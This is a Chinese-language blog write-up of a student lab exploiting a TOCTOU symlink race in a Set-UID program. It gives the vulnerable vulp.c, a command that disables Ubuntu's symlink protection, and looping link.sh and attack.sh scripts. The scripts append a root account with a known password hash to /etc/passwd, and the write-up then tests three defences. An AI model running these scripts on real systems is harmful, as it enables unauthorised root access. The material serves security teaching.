软件安全实验——lab2(竞态条件符号链接)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——lab2(竞态条件符号链接)相关的知识,希望对你有一定的参考价值。

1实验室概况

  本实验室的学习目标是让学生通过将课堂上关于脆弱性的知识转化为行动,来获得关于竞赛条件下脆弱性的第一手经验。竞态条件当多个进程并发地访问和操作相同的数据时发生,而结果执行取决于访问发生的特定顺序。如果一个特权程序有竞争条件漏洞,攻击者可以运行一个并行进程来“竞争”特权程序,目的是改变程序的行为。
  在这个实验室里,学生们会得到一个竞赛条件下的漏洞程序;他们的任务是发展一种利用漏洞并获得根特权的方案。除了袭击,学生们也会指导通过几个保护方案,可以用来对抗竞争条件攻击。学生需要评估这些计划是否有效,并解释原因。

2实验室任务

  竞态条件(race condition),从多进程间通信的角度来讲,是指两个或多个进程对共享的数据进行读或写的操作时,最终的结果取决于这些进程的执行顺序。

2.1初始设置

  您可以使用我们预构建的Ubuntu虚拟机执行实验室任务。如果你正在使用我们的Ubuntu 9.11虚拟机,你可以跳过这个初始设置步骤。如果你正在使用我们的ubuntu11.04或12.04 VM,你需要阅读以下内容。ubuntu11.04和12.04有一个内置的保护来防止竞争条件的攻击。该方案通过限制谁可以遵循符号链接来工作。根据文档, “如果follower和directory owner不匹配symlink owner,那么在世界可写粘性目录(例如/tmp)中的symlinks将无法被跟踪。”“在这个实验室,我们需要禁用这个保护。你可以使用以下命令:

$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

来关闭对符号链接的保护。

2.2易受攻击的程序

下面的程序是一个看似无害的程序。它包含一个竞争条件漏
洞。

/* vulp.c */

#include <stdio.h>
#include<unistd.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \\n");
}

在这里插入图片描述

  这是Set-UID程序(由root用户拥有)的一部分,它将用户输入字符串附加到临时文件/tmp/XYZ的末尾。由于代码使用根特权运行,因此它会仔细检查真正的用户是否拥有对文件/tmp/XYZ的访问权限,这就是access()调用的目的。一旦程序确定真正的用户确实拥有权利,程序就会打开文件并将用户输入写入文件。
  乍一看,这个程序似乎没有任何问题。然而,有一个竞争条件的弱点在这个程序中由于之间的窗口(模拟延迟)检查(访问)和使用(fopen),有可能使用的文件访问与fopen所使用的文件不同,尽管它们有相同的文件名/tmp/XYZ。如果恶意攻击者以某种方式使/tmp/XYZ成为指向/etc/shadow的符号链接,则攻击者可以将用户输入附加到etc/shadow注意程序使用root权限运行,因此可以覆盖任何文件。

  注意临时文件/tmp/XYZ要用seed普通账户创建所属,如果/tmp/XYZ所属root是没有权限给它建立符号链接到其他文件的:
在这里插入图片描述
在这里插入图片描述

2.3任务1:利用竞态条件漏洞

您需要利用上述Set-UID程序中的竞态条件漏洞。更具体地说,你需要做到以下几点:

1、覆盖任何属于root的文件。

想要利用上面的漏洞,我们首先需要:

第一步:建立符号链接

  符号链接(软链接)是一类特殊的文件,其包含有一条以绝对路径或者相对路径的形式指向其它文件或者目录的引用,相当于windwos系统的快捷方式;与之不同的硬链接文件就相当于文件的另外的一个入口,与源文件相同。
  所以我们可以建立源代码中/tmp/XYZ文件到一个普通账户seed可写的文件seed的符号链接:
在这里插入图片描述

再建立到/tmp/XYZ文件到一个root账户所属的文件root的符号链接:
在这里插入图片描述

不断的建立符号链接的脚本link.sh:

#!/bin/sh
old=`ls -l /home/seed/SoftwareSecurity/lab2/task1/root`
new=`ls -l /home/seed/SoftwareSecurity/lab2/task1/root`
while [ "$old" = "$new" ]
do
ln -sf /home/seed/SoftwareSecurity/lab2/task1/seed /tmp/XYZ
ln -sf /home/seed/SoftwareSecurity/lab2/task1/root /tmp/XYZ
    new=`ls -l /home/seed/SoftwareSecurity/lab2/task1/root`
done
echo "STOP... The root file has been changed"

在这里插入图片描述

第二步:不断尝试打开文件写入

再建立一个输入文件input
在这里插入图片描述

不断调用vulp程序,将input文件的内容作为输入,尝试写入/tmp/XYZ文件的攻击脚本attack.sh:

#!/bin/sh
old=`ls -l /home/seed/SoftwareSecurity/lab2/task1/root`
new=`ls -l /home/seed/SoftwareSecurity/lab2/task1/root`
while [ "$old" = "$new" ]
do
./vulp < input
    new=`ls -l /home/seed/SoftwareSecurity/lab2/task1/root`
done
echo "STOP... The root file has been changed"

在这里插入图片描述

启动link.sh和attack.sh两个脚本:
在这里插入图片描述
在这里插入图片描述

成功向root文件写入。
我们现在可以知道竞争条件漏洞成功的原因:
  正常情况下,access(fn, W_OK)对我们的权限进行检查,发现我们是普通seed用户,输出“No Permission”;
  但是在link.sh和attack.sh两个脚本一直不断运行的过程中,会出现某个时间:
  /tmp/XYZ被link.sh符号链接到普通文件seed,且这时候vlup运行到了access(fn, W_OK)对我们的权限进行检查:普通seed用户写普通seed所属的文件,可以通过检查;之后link.sh又将/tmp/XYZ符号链接到root所属文件root,然后vulp执行fopen函数,打开root文件,把数据写入root文件。
其中,攻击的三个文件的必须权限:
/tmp/XYZ文件:vlup程序中打开的文件,也是我们的链接文件,我们必须可以读写此文件,也就是说,如果你以root权限创建了链接,那么有可能会一直报“No Permission”;
seed文件: 欺骗vulp的文件,普通seed用户所属的文件,必须具有写权限;
root文件:我们试图篡改的root所属的文件,没有任何权限;
其他文件权限:
vulp程序:root用户所属的程序,普通seed用户执行会提示“No Permission”;
link.sh和attack.sh脚本:seed普通用户可执行。

2、获得根权限;也就是说,您应该能够做根可以做的任何事情。

我们可以通过向/etc/passwd中写入的用户名和密码来获得root权限,实际上密码加密后存放在/etc/shadow中,/etc/passwd中存放的账户格式如图所示:
在这里插入图片描述

账户密码是通过库函数crypt生成的
用户名为:crack,密码:123456
我们先按照Linux系统保存密码的加密算法获得加密后的密码,用openssl调用库函数crypt加盐之后生成密码:
在这里插入图片描述

所以得到的账户:crack:12tir.zIbWQ3c:0:0:,:/root:/bin/bash,把它放在input文件里
对应的建立符号链接的脚本link.sh:

#!/bin/sh
old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do
ln -sf /home/seed/SoftwareSecurity/lab2/task1/2/seed /tmp/XYZ
ln -sf /etc/passwd /tmp/XYZ
    new=`ls -l /etc/passwd`
done
echo "STOP... The root file has been changed"

攻击脚本attack.sh:

#!/bin/sh
old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do

./vulp < input
    new=`ls -l /etc/passwd`
done
echo "STOP... The root file has been changed"

启动link.sh和attack.sh两个脚本:
在这里插入图片描述

查看/etc/passwd已经有了我们想要写入的账户
在这里插入图片描述

成功获得根权限,用户名为:crack,密码:123456
在这里插入图片描述

2.4任务2:保护机制A:重复

消除竞争条件并不容易,因为在程序中经常需要检查和使用模式。我们实际上可以添加更多的比赛条件,而不是删除比赛条件,这样为了危及程序的安全性,攻击者需要赢得所有这些比赛条件。如果这些比赛条件设计得当,我们可以指数级地降低攻击者获胜的概率。基本思想是重复access()和open()多次;每次打开文件时,我们都要通过检查它们的i节点(它们应该是相同的)来检查是否打开了相同的文件。
请使用此策略修改易受攻击的程序,并重复您的攻击。如果你还能成功,那就报告成功有多难。
源程序按照策略改为vulp2.c:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
void no_perm(void)
{
	printf("no permission.\\n");
	exit(EXIT_FAILURE);
}

int main(int argc, char *argv[])
{
	char * fn = "/tmp/XYZ";
	char buffer[60];
	FILE *fp;
	long int i;
	long int rep = 0; // number of repetition
	struct stat inodes[2] = {0};

	rep = 10;
	/* get user input */
	scanf("%50s", buffer );
	for (i = 0; i < rep; ++i) {
		if(!access(fn, W_OK)){
			stat(fn, &inodes[i%2]);
			if (i > 0) {
				if (inodes[0].st_ino != inodes[1].st_ino) {
					no_perm();
				}
			}
		}
		else {
			no_perm();
		}
	}
	fp = fopen(fn, "a+");
	fwrite("\\n", sizeof(char), 1, fp);
	fwrite(buffer, sizeof(char), strlen(buffer), fp);
	fclose(fp);

}

启动link.sh和attack.sh两个脚本:
在这里插入图片描述

可以看到,当增加了权限检查的次数,我们需要更多次的运行才能刚好遇到每次检查都以seed身份通过,最后打开文件的时候又换到root文件。
在这里插入图片描述

2.5任务3:保护机制B最小特权原则

本实验室易受攻击程序的根本问题是违反了最小特权原则。程序员知道运行程序的用户可能太强大了,所以他她引入access()来限制用户的能力。然而,这并不是正确的方法。更好的方法是应用最小特权原则; 也就是说,如果用户不需要某些特权,则需要禁用该特权。
我们可以使用seteuid系统调用临时禁用根特权,然后在必要时启用它。请使用此方法修复程序中的漏洞,然后重复您的攻击。你能成功吗? 请报告你的观察和解释。

在使用access和open的程序中,我们知道open比我们想要的更加强大(它只检查有效 UID),这就是我们需要使用access来确保我们没有滥用权限的原因。我们从竞态条件攻击中得到的启示,就是这种检查不是始终可靠。
另一个防止程序滥用权限的方法,就是不要给予程序权限。这就是最小权限原则的本质:如果我们暂时不需要这个权限,我们应该禁用他。如果我们永远都不需要这个权限,我们应该移除它。没有了权限,即使程序犯了一些错误,损失也会降低。
在 Unix 中,我们可以使用seteuid或者setuid系统调用,来开启、禁用或删除权限,在vulp文件中加入:
uid_t real_uid = getuid(); // get real user id
uid_t effective_uid = geteuid(); // get effective user id
seteuid (real_uid);
和seteuid (effective_uid);
得到的源程序vulp3.c:

#include<stdio.h>
#include<unistd.h>
#include<string.h>
int main()
{
	uid_t real_uid = getuid(); // get real user id
	uid_t effective_uid = geteuid(); // get effective user id
	char * fn = "/tmp/XYZ";
	char buffer[60];
	FILE *fp;
	/* get user input */
	scanf("%50s", buffer );
	seteuid (real_uid);
	if(!access(fn, W_OK)){
	fp = fopen(fn, "a+");
	fwrite("\\n", sizeof(char), 1, fp);
	fwrite(buffer, sizeof(char), strlen(buffer), fp);
	fclose(fp);
	}
	else printf("No permission \\n");
	seteuid (effective_uid);
}

重新编译文件赋权限:
在这里插入图片描述

启动link.sh和attack.sh两个脚本:
在这里插入图片描述

使用seteuid系统调用临时禁用root权限之后,无法再攻击成功。

2.6任务4:保护机制C:Ubuntu的内置方案

这个任务只适用于那些使用我们的ubuntu11.04或12.04 VM的人。正如我们在最初的设置中提到的,ubuntu11.04和12.04内置了一一个针对竞争条件攻击的保护方案。在这个任务中, 您需要使用以下命令将保护打开:

$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

在你的报告中,请描述你的观察结果。请同时解释以下几点:(1)本保护计划为何有效?(2)这是一个好的保护措施吗?为什么? (3)此计划有何限制?
在这里插入图片描述
在这里插入图片描述

打开kernel.yama.protected_sticky_symlinks对符号链接的保护后,无法再攻击成功。
答:
(1)protected_sticky_symlinks参数旨在对符号链接的保护,当它检测到权限所有者和符号链接指向的文件所有者权限不匹配时,则不建立链接,抛出异常。
(2)这是一个好的保护措施,
当设置为“0”时,符号链接的行为是不受限制的。
当设置为" 1 "时,符号链接只允许跟随在一个可粘贴的可写目录之外,或者当符号链接的uid和跟随者匹配,或者当目录所有者与符号链接的所有者匹配时。
(3)此计划限制了不同用户之前的符号链接访问,也就是说我以普通用户seed创建的符号链接,其他用户无论是以普通用户身份还是root特权都无法访问该符号链接。
例如:用seed账户给test文件建立一个符号链接/tmp/today

ln -sf  /home/seed/SoftwareSecurity/lab2/task4/test /tmp/today

在这里插入图片描述

之后用其他账户去访问符号链接/tmp/today,权限被拒绝:
在这里插入图片描述

其他账户登录root权限也无法访问:
在这里插入图片描述

以上是关于软件安全实验——lab2(竞态条件符号链接)的主要内容,如果未能解决你的问题,请参考以下文章

软件构造Lab2基本流程指导及重难点分析

java并发 day02 临界区和竞态条件synchronized线程安全 对象头 Monitor管程 wait notifypark&unpark ReentrantLock

java并发 day02 临界区和竞态条件synchronized线程安全 对象头 Monitor管程 wait notifypark&unpark ReentrantLock

java并发 day02 临界区和竞态条件synchronized线程安全 对象头 Monitor管程 wait notifypark&unpark ReentrantLock

线程安全性

Software Testing(软件测试 实验二)Lab2 Seleium